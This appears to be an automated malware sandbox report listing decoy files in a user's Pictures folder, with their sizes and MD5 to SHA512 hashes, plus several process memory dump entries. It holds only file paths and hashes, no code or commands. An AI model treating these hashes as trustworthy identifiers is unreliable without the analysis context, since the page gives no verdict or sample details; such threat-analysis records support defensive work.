528611d6f16280c960eb92478fa1b5a011450b3ef2f5d58bd9cc7600dc4a92aec8206c17e481a5c3b6a762854a99bc236f627cb4e6006bdaadb9d9163565bf65

Download Submit
C:\Users\Admin\Pictures\My Wallpaper.jpg

Filesize
24KB

MD5
e5968dc738f7983e18f4b5734dc67214

SHA1
590c0b3d4d877032c75b0af982eb5b092ad89272

SHA256
693d8b2df3b99f6ea90b83469051070d03c9d4edd5538296bde4363f96fd39ce

SHA512
e52217480eeab2d1a687d4c54784610036f85abf0b6fd158901883961e4c57b8490b971dc9d0b0c06f74f8a8a4e37ad3790d417e37fe7c89d6b7d5c6f18fbffe

Download Submit
C:\Users\Admin\Pictures\OpenUse.dxf

Filesize
222KB

MD5
b6861129303d1ab7f33512e76e4e141d

SHA1
1281b354eff6735f1902778dddb6fafdd0883eab

SHA256
00f9a9e511318325bd6ce5c2c9b7451db4ca808a9df7943e4823187c7a2df642

SHA512
9bdf7fe1dbf784e9601df96c5b0ef872dc7249f3558718e74c3c766baf9b9ce08f38fb978c3c8a5949ddba6eb0b252bb00cc98c08955a4e7319f4de5a0cb7cbd

Download Submit
C:\Users\Admin\Pictures\ProtectDeny.gif

Filesize
375KB

MD5
ee6007219c2c3950b6bc68ee09f80d7b

SHA1
2d7d8f6ad75fd840e5247a86e48f98f3d9effca6

SHA256
e19389c038fc245769fd7fd4a6559a385002d108d0d02a4e621e2cdedf8d2805

SHA512
2c4fe329ddcac8b63036c2135dffcde6e00156a3729dfaaeb0c06b57cf2f2032e0c704ceb180dda45c089e249b44393daf9f602b03c8bc0c3b3b121dd2f6c01c

Download Submit
C:\Users\Admin\Pictures\RedoUninstall.gif

Filesize
505KB

MD5
49734e8eabde2f50e7bcf7660a1e851e

SHA1
278e6316ab14f0ac32d7ad80e462b9e72b5ba9d3

SHA256
9b7a7013052846ebaa2456e1a2425b1fc2e86ca4523d83818db84e26427fc1f7

SHA512
772b1e5bcb8b845993b6447b8a6e16705d5394dab9a08157ddd7295d6e44a1652bd3f31a565ef5422470d77d5cda271c50e84cbc51529deee25da81e8900fa21

Download Submit
C:\Users\Admin\Pictures\RemoveOut.wmf

Filesize
190KB

MD5
611b22f307a4edbb3c436bf0d615a1cf

SHA1
0611f95d0bd9daeaa323636cc1e5b98074f4bd15

SHA256
525729505f428a38c0b5e9896d61ed8628d31d2a7d44cb995304ff832c09ce59

SHA512
e9bf1ff89f54e8b206f5f852928392ee6f64888babf627d5dbe36df81bbcf1f7cd164c4092ab552b6aa7295632fc981b3f92be2c2b13d850f082c173482a9416

Download Submit
C:\Users\Admin\Pictures\RepairResume.pcx

Filesize
472KB

MD5
9ba5fe258da12b2686479d14dd2e7a5f

SHA1
4d1eb6b8af295f39a2a41b65d9f6e5eda7090a0e

SHA256
f06261ed2fadbfa0f2dc8e123c0b5cd9134401af81bec4d06a26aebe91c0022f

SHA512
9222c1a8643b01457290925b99bf4bbfbb18ddf19b946a2d37ae66e183ea28cb8d1ea558c4e5afedbed5f6d474f476d91158581829697b29f3c725ca1991663b

Download Submit
C:\Users\Admin\Pictures\RepairUndo.dxf

Filesize
233KB

MD5
b9e30eebc762d3652c8ca0e3b7b70dfd

SHA1
27ed758ce0c94963a9c63ffd04395dbc8689e8e0

SHA256
b342fdd965a3982a578124012fa82b0857c3e34989e2c1848563b9ea7bf73977

SHA512
e3db1159f583a342056359a5a6600e960ea00eb9e02ddd0300a5c7c3aa3f0bf561518d5ccf30ea3458faf6788d179de16e6e00da952683aa00b772345426b5bf

Download Submit
C:\Users\Admin\Pictures\RestoreSave.jpg

Filesize
266KB

MD5
188a7eddab3a6fbe89904d6bb583ecbc

SHA1
0ba38c3217df7ad405198ba2a95e08c0e598fb67

SHA256
7a0ddb29cf2f3a5b9284cbb6ee40d23a2c52b232442af32dbcd0db8f0832780d

SHA512
3cb94ea80dc7b778da9efcbac8c16963710eda28d0d2ade07c4db9e9ccc6b9f30bbf67fcfffe4fd86fa8dad18c22c7c4d229da4e6353d8003c6e87e6a45a150e

Download Submit
C:\Users\Admin\Pictures\SearchEdit.dxf

Filesize
364KB

MD5
70888ed2922e04bc1d09a10544dab764

SHA1
c57498841e6f20b12792f673b883ed3ad4c3f795

SHA256
d11adc23b4291404837ff835e45d5f64e02332fdadab9b5850395d83f43501f9

SHA512
921fc5781c2b5ce98c4539469cda575f133d1c71bd08c6100f1f89a631934bebf3ee14a3e7f7b5bbf7641ddee342b490ae59b2d388075b56b550026f38d4d587

Download Submit
C:\Users\Admin\Pictures\SendConvertTo.pcx

Filesize
212KB

MD5
0f0d5d749e3e3babe140402c73d305ea

SHA1
05825787c87cb4e55902e125e5742b20e550ec32

SHA256
9ee4aafcc2859459747ee48ea2a302162e2ed2f2e6b065bef4fc3a874c50f3a5

SHA512
d30b0d62fad41560c71473f04530c86c42ea734cb5ec3be47b2750b502a13539e330e0d28cc1adaf604752f9f1b6014834b8a98aa91dbf6fd00ca61bf885c010

Download Submit
C:\Users\Admin\Pictures\ShowCheckpoint.pcx

Filesize
749KB

MD5
c21cfb2654dc7fc2f1f84841db6d3375

SHA1
9231cd8dd5ed1610d17cc4b51cb478a17177ef2d

SHA256
b2836250f643a01cc074835ba13f2ea931732d80dfd32b94a434ce564fd19e45

SHA512
2fda17317cb15502dff747f071a841e55b6f1f0ca34fd9aa869c38d7c586333104216c8148516b28e780d60f958d3575b6674cfbe0b1c55288537cded1db6090

Download Submit
C:\Users\Admin\Pictures\ShowRegister.jpg

Filesize
385KB

MD5
3af20af890396c5934b3e317cd261e23

SHA1
dbef597c782eac9652c0b3f135cb165559daf545

SHA256
63c0d6497d2951aed6d8f7bd692ef53afcee83c91a12e485133a383a445da882

SHA512
92f62413ae63a7b34a3accea79c7270156f8c4310dbcd64ccb7ff9eb4e1da17329595aa28f8ec60183a4f30742ec4ca95a8119f91d99c865f90138519837015b

Download Submit
C:\Users\Admin\Pictures\ShowSwitch.raw

Filesize
516KB

MD5
fe1c0b564939156572b7399d16ec21c6

SHA1
079d9ceec539afc0ad0f6e82e4a4e4a4bd8f1321

SHA256
f0609e732c4d28524d345c425451072f58825262d71a366c14797161920747ff

SHA512
f9a2f0d41d8ae21163e0ee79b2e49c671a5b7d0d86d2252f57051db5ce29627a6953e2fe42f4e28506c8269a0df6ddeebe6004b8c89f9b3f96b55f9f3d120ccc

Download Submit
C:\Users\Admin\Pictures\SkipBackup.dwg

Filesize
309KB

MD5
9df20a9e88944c4860040f01af875a6d

SHA1
879010c7b231f7fc261b48468c45ce45c29332c5

SHA256
aefd325affca85535326dbdcdef5319cfa6dddaf15de130aac06b2ece6d1e999

SHA512
77174b1ba52fa2cddb16a97a0ce1405ccc339ae7f2504d7a79a3a5cfb45a95f1178572a1359f6ab023417c0c1df6bea3ac127619f6e78173d291d9dbc6a2fda1

Download Submit
C:\Users\Admin\Pictures\SkipSelect.dib

Filesize
342KB

MD5
f40a1c5aa91dddf7e99560039a453c15

SHA1
b71c067d2b21887f8eae30ad8ea06a4d9930bf60

SHA256
caeab7fa18c36bfb310748c5302b0f3eca95a39921bec7fa02f9474e490a9743

SHA512
1f55cc60a392c672168aa9b57f219c83fe4b9f2e6af4409055f6e5b0d5c2b61b91a7ee0b5c71b3da343be9f70dd6024446d58ba55e83f2b773c954dffc0022e8

Download Submit
C:\Users\Admin\Pictures\SubmitRestore.dxf

Filesize
201KB

MD5
b2542b37cca793128662fe9186b0cbf8

SHA1
ac4aadbcfd69087ef137a37da7e3732c8af10aca

SHA256
bba2f5d1833ee5ec37236a5f681486055a423856cb4c29d77c140f193e8bc873

SHA512
92f25798fef8158a6f4096fd4cbee811258f5b26d952d7f30415f3ca0e97463fb5108ebcbebcb33ee4c908772219cc0955a14e38765630bf8d5be91c4c6704d4

Download Submit
C:\Users\Admin\Pictures\SuspendMerge.dxf

Filesize
320KB

MD5
9410069db5cd14b5e33773c4250d63db

SHA1
b753fd8138bb20ea0fb79e256b8d4f33913a44ef

SHA256
7c066a40dd01b1fa07fb80fda4ba906ee6bb305fe3dcb1fc4b7cd59c6e4a0757

SHA512
b9a990db581868437d70c2f52a81635b96dc2676a7b52bb397b1d24ea90747ef9448a2ed8ce79a4d6c0831b1fbea3758176653bc78c1292376cfcd3fa744ce12

Download Submit
C:\Users\Admin\Pictures\TestShow.jpeg

Filesize
418KB

MD5
ad9c5066e22cfad8b8c36dc9db342368

SHA1
ed7e6f8073ccf56e2493c83a860ef10742f86999

SHA256
4d3dd9a3f7b36016d03ddb41e5ce6325bd22f639d57b44095b89a5a3e6317acc

SHA512
c348e83535bf4ed9a9f6ca0bff4912d4750bba181690d59405c4c7b32c3ca27c3e48658490a0a5b0f33f67e817aeead2bda09643b76c03f1012d6e14ab6ec847

Download Submit
C:\Users\Admin\Pictures\UnprotectGet.dwg

Filesize
298KB

MD5
0a7563186d786aa90dd9f2e3aa54844e

SHA1
8159a45af9b146fbb45c2fc5d5aa9aea2989fa9e

SHA256
feb934f33d7130fd90068bad0cea1dd0e51098db0e395756b0b7127be395a2df

SHA512
8e54bbc9a2054aa9896d096cf04f825819df87392771c20fbcbf1cf525a809fe5d67b1ce6b069b5c1af2193897be9ad9a4061a2c1ceddb42aa96cc6ed395d4af

Download Submit
C:\Users\Admin\Pictures\UnpublishLock.jpeg

Filesize
429KB

MD5
8cd06a1962b3713c42c6c970aeda2ef4

SHA1
409f13c6d8cf8095bf24a7db36c6280679240cb1

SHA256
4ef822778e2c38a453792754f4b6214016e067baed1db4ad7f3bd02dc58e9fb2

SHA512
4b436c7f5510e993c2598959aec8acc9dd07e2b701ae28047e7a1c12b42747a90cf3ec8a0b760d448c5e9387f4f0d4ba1032fb7c326dd8ec2159cefeebd2b547

Download Submit
C:\Users\Admin\Pictures\UseMove.raw

Filesize
440KB

MD5
0645d940ebc85bec01e7ec3c1bc2698d

SHA1
7ef0ade8506c005acba1d2ceb26f210abd6f7a90

SHA256
6cee869aaeedf57ccbeb59d834afb0cfc3d2042d678e268658b2e88232bb52a2

SHA512
e59a99cab94001d19153f85e55bef0b3add8a602b306e7ea5fb9f2c2492447b90cf444817e82f4e6683618adaba3fe9122deabd3cef4dc5fd0cd56b854f266ca

Download Submit
C:\Users\Admin\Pictures\WaitWatch.dib

Filesize
494KB

MD5
e7a20d508f85d1c80cd897832349c32c

SHA1
868068425e0a4b3bc7d77646bb32a613ccb60377

SHA256
a127fad529c4d744c4d5699d5376b32232335b1d7a0003b0be6312a6f120dfd6

SHA512
f3bb0b9bb85ab5ed1533bd9282bbcff5ff222a4d7087aac8a68163a3d78244d472698906650be6f167afed2dff9cdc89b73b32dbbab3f8e27d0eb6dab1d22ce8

Download Submit
C:\Users\Admin\Pictures\WatchLimit.dwg

Filesize
396KB

MD5
57379041ff79290528db61d3e050c2d9

SHA1
47ad30d479a090ab84880b49d4c59629d8a39dd8

SHA256
9711982277703fa95be4a92127f747b7d656406847936d4d360db8e005b719df

SHA512
70a85882268e38e271133b3225506397a67b3bf1a4bf88893fdc7969f1b280b9b92810a587ecc0d2db7d860c8b878f0d271dbd89f35c4890a039cdafdc64920a

Download Submit
memory/800-0-0x000000007407E000-0x000000007407F000-memory.dmp

Filesize
4KB

Download
memory/800-1-0x0000000000B80000-0x0000000000BE0000-memory.dmp

Filesize
384KB

Download
memory/800-2-0x0000000000780000-0x00000000007BC000-memory.dmp

Filesize
240KB

Download
memory/800-3-0x0000000074070000-0x000000007475E000-memory.dmp

Filesize
6.9MB

Download
memory/800-2166-0x0000000074070000-0x000000007475E000-memory.dmp

Filesize
6.9MB

Download
memory/2716-1351-0x0000000000D90000-0x0000000000DA6000-memory.dmp

Filesize
88KB

Download